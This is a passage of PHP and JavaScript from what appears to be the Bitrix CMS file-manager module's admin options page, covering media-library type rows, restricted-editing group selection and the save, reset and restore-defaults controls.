	var typeHtml = '<?= CUtil::JSEscape(_MLGetTypeHTML(array("id" => "tmp_ml_type_id", "name" => "", "code" => "", "ext" => "", "icon" => "", "desc" => "", "b_new" => true, "empty" => true)));?>';

	// Replace id, and increase "curCount"
	typeHtml = typeHtml.replace(/tmp_ml_type_id/ig, id);

	var code = [], start, end, i, cnt;
	while((start = typeHtml.indexOf('<' + 'script>')) != -1)
	{
		var end = typeHtml.indexOf('</' + 'script>', start);
		if(end == -1)
			break;
		code[code.length] = typeHtml.substr(start + 8, end - start - 8);
		typeHtml = typeHtml.substr(0, start) + typeHtml.substr(end + 9);
	}

	for(var i = 0, cnt = code.length; i < cnt; i++)
		if(code[i] != '')
			jsUtils.EvalGlobal(code[i]);
	newCell.innerHTML = typeHtml;

	setTimeout(function(){InitEventForType(id);}, 50);
}

function InitEventForType(id)
{
	var oType =
	{
		pCont: BX('type_cont_' + id),
		pName: BX('type_name_' + id),
		pNameInp: BX('type_name_inp_' + id),
		pDelLink: BX('type_del_' + id),
		pRestoreLink: BX('type_restore_' + id),
		pDelInput: BX('type_del_inp_' + id),
		pEmpty: BX('type_empty_' + id)
	};

	if (oType.pName && oType.pNameInp)
	{
		oType.pNameInp.onkeyup = function()
		{
			while (oType.pName.firstChild)
				oType.pName.removeChild(oType.pName.firstChild);

			oType.pName.appendChild(document.createTextNode(oType.pNameInp.value));
		};

		if (oType.pNameInp.value == "")
		{
			oType.pNameInp.value = "<?= GetMessage("FILEMAN_ML_ADD_TYPE_NEW")?>";
			oType.pName.innerHTML = "<?= GetMessage("FILEMAN_ML_ADD_TYPE_NEW")?>";
			oType.pNameInp.focus();
			oType.pNameInp.select();
		}
	}

	if (oType.pDelLink)
	{
		oType.pDelLink.onclick = function()
		{
			if (oType.pEmpty.value == "N")
				return alert("<?= GetMessage("FILEMAN_ML_TYPE_CANT_DEL")?>");

			oType.pCont.className = "bx-ml-type bx-ml-type-deleted";

			if (!oType.pDelName)
				oType.pDelName = BX("type_del_name_" + id);

			while (oType.pDelName.firstChild)
				oType.pDelName.removeChild(oType.pDelName.firstChild);

			oType.pDelName.appendChild(document.createTextNode(oType.pNameInp.value));
			oType.pDelInput.value = "Y";
		};
	}

	if (oType.pRestoreLink)
	{
		oType.pRestoreLink.onclick = function()
		{
			oType.pCont.className = "bx-ml-type";
			oType.pDelInput.value = "N";
		};
	}
}

</script>
	</td></tr>

<?if ($USER->IsAdmin()):?>
<?$tabControl->BeginNextTab();?>
<?require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/admin/group_rights2.php");?>

	<tr class="heading">
		<td colspan="2"><a name="limitaccess"></a><?= GetMessage('fileman_opt_restricted')?></td>
	</tr>
	<tr>
		<td valign="top"><?= GetMessage('fileman_opt_restricted_rights')?></td>
		<td>
<?
$arGroups = explode(",", COption::GetOptionString('fileman', 'default_edit_groups', ''));
$gr = CGroup::GetList(($v1="sort"), ($v2="asc"), array("ACTIVE"=>"Y", "ADMIN"=>"N", "ANONYMOUS"=>"N"));
$sOptions = '';
$sSel = '';
while($group = $gr->Fetch())
{
	$sel = in_array($group["ID"], $arGroups);
	if($sel)
		$sSel .= ($sSel <> ''? ', ':'').htmlspecialcharsbx($group["NAME"]);
	$sOptions .= '<option value="'.$group["ID"].'"'.($sel? " selected":"").'>'.htmlspecialcharsbx($group["NAME"])." [".$group["ID"]."]".'</option>'."\n";
}
?>
			<?if($sSel <> ''):?>
				<?= GetMessage('fileman_opt_sel')?> <b><?=$sSel?></b><br><br>
			<?endif?>
			<select name="DEFAULT_EDIT_GROUPS[]" size="7" multiple>
				<?echo $sOptions;?>
			</select>
		</td>
	</tr>
<?endif;?>

<?$tabControl->Buttons();?>
<script>
	function RestoreDefaults()
	{
		if(confirm('<?= AddSlashes(GetMessage("MAIN_HINT_RESTORE_DEFAULTS_WARNING"))?>'))
			window.location = "<?= $APPLICATION->GetCurPage()?>?RestoreDefaults=Y&lang=<?echo LANG?>&mid=<?echo urlencode($mid)?>&<?=bitrix_sessid_get()?>";
	}
</script>
<input type="submit" class="adm-btn-save" <?if (!$USER->CanDoOperation('fileman_edit_all_settings')) echo "disabled" ?> name="Update" value="<?= GetMessage('FILEMAN_OPTION_SAVE')?>">
<input type="reset" name="reset" onClick="BX('site_select_id').disabled=<? if(COption::GetOptionString($module_id, "different_set", "N") != "Y") echo "true"; else echo "false"; ?>; SelectSite('<?echo htmlspecialcharsbx($siteList[0]["ID"])?>');" value="<?= GetMessage('FILEMAN_OPTION_RESET')?>">
<input type="hidden" name="Update" value="Y">
<input <?if (!$USER->CanDoOperation('fileman_edit_all_settings')) echo "disabled" ?> type="button" title="<?= GetMessage('MAIN_HINT_RESTORE_DEFAULTS')?>" OnClick="RestoreDefaults();" value="<?= GetMessage('MAIN_RESTORE_DEFAULTS')?>">
<?$tabControl->End();?>
</form>